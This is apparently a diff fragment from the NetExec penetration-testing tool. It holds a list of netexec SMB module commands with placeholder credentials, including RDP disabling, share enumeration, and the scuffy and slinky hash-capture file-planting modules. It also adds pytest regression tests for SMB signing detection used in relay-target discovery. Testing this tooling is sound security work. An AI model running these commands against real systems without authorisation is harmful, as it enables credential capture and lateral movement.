#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -o FILTER=WRITE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -o EXCLUDE=IPC$,ADMIN$
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test
+97
View File
@@ -0,0 +1,97 @@
"""Regression tests for SMB signing detection (nxc/protocols/smb.py).
Background: impacket force-sets ``_Connection["RequireSigning"] = True`` for
*any* SMB 3.1.1 negotiation, regardless of the server's real policy, because
the 3.1.1 session setup is always signed. Reading that flag therefore produced
false negatives for relay-target discovery: 3.1.1 hosts that merely *enable*
(but do not *require*) signing were reported as ``signing:True`` and silently
dropped from ``--gen-relay-list`` output.
The fix reads the real negotiated ``ServerSecurityMode`` for SMB 3.0+ instead.
"""
from os.path import dirname, join
from types import SimpleNamespace
import pytest
from importlib.util import module_from_spec, spec_from_file_location
from impacket.smb3structs import (
SMB2_DIALECT_21,
SMB2_DIALECT_30,
SMB2_DIALECT_311,
SMB2_NEGOTIATE_SIGNING_ENABLED,
SMB2_NEGOTIATE_SIGNING_REQUIRED,
)
@pytest.fixture(scope="module")
def smb_module():
smb_path = join(dirname(dirname(__file__)), "nxc", "protocols", "smb.py")
spec = spec_from_file_location("protocol", smb_path)
module = module_from_spec(spec)
spec.loader.exec_module(module)
return module
def make_smbv2_conn(dialect, server_security_mode, require_signing):
"""Mimic the relevant slice of an impacket SMBConnection for SMB2/3.
``isSigningRequired()`` returns ``RequireSigning``, matching impacket, for
the dialects below SMB 3.0 that fall back to it.
"""
inner = SimpleNamespace(
_Connection={
"Dialect": dialect,
"ServerSecurityMode": server_security_mode,
"RequireSigning": require_signing,
}
)
return SimpleNamespace(_SMBConnection=inner, isSigningRequired=lambda: require_signing)
def make_smbv1_conn(signing_required):
return SimpleNamespace(isSigningRequired=lambda: signing_required)
def test_smb311_signing_enabled_not_required_reports_false(smb_module):
# The regression: impacket forces RequireSigning=True on 3.1.1, but the
# server only *enables* signing -> this host IS a valid relay target.
conn = make_smbv2_conn(
dialect=SMB2_DIALECT_311,
server_security_mode=SMB2_NEGOTIATE_SIGNING_ENABLED,
require_signing=True,
)
assert smb_module.smb._is_signing_required(None, conn, smbv1=False) is False
def test_smb311_signing_required_reports_true(smb_module):
conn = make_smbv2_conn(
dialect=SMB2_DIALECT_311,
server_security_mode=SMB2_NEGOTIATE_SIGNING_ENABLED | SMB2_NEGOTIATE_SIGNING_REQUIRED,
require_signing=True,
)
assert smb_module.smb._is_signing_required(None, conn, smbv1=False) is True
def test_smb30_signing_not_required_reports_false(smb_module):
conn = make_smbv2_conn(
dialect=SMB2_DIALECT_30,
server_security_mode=SMB2_NEGOTIATE_SIGNING_ENABLED,
require_signing=False,
)
assert smb_module.smb._is_signing_required(None, conn, smbv1=False) is False
def test_smb21_falls_back_to_require_signing(smb_module):
# ServerSecurityMode is only populated for SMB 3.0+, so for 2.1 we must
# fall back to RequireSigning (accurate below 3.1.1).
conn = make_smbv2_conn(
dialect=SMB2_DIALECT_21,
server_security_mode=0,
require_signing=True,
)
assert smb_module.smb._is_signing_required(None, conn, smbv1=False) is True
def test_smbv1_uses_session_signing_flag(smb_module):
assert smb_module.smb._is_signing_required(None, make_smbv1_conn(True), smbv1=True) is True
assert smb_module.smb._is_signing_required(None, make_smbv1_conn(False), smbv1=True) is False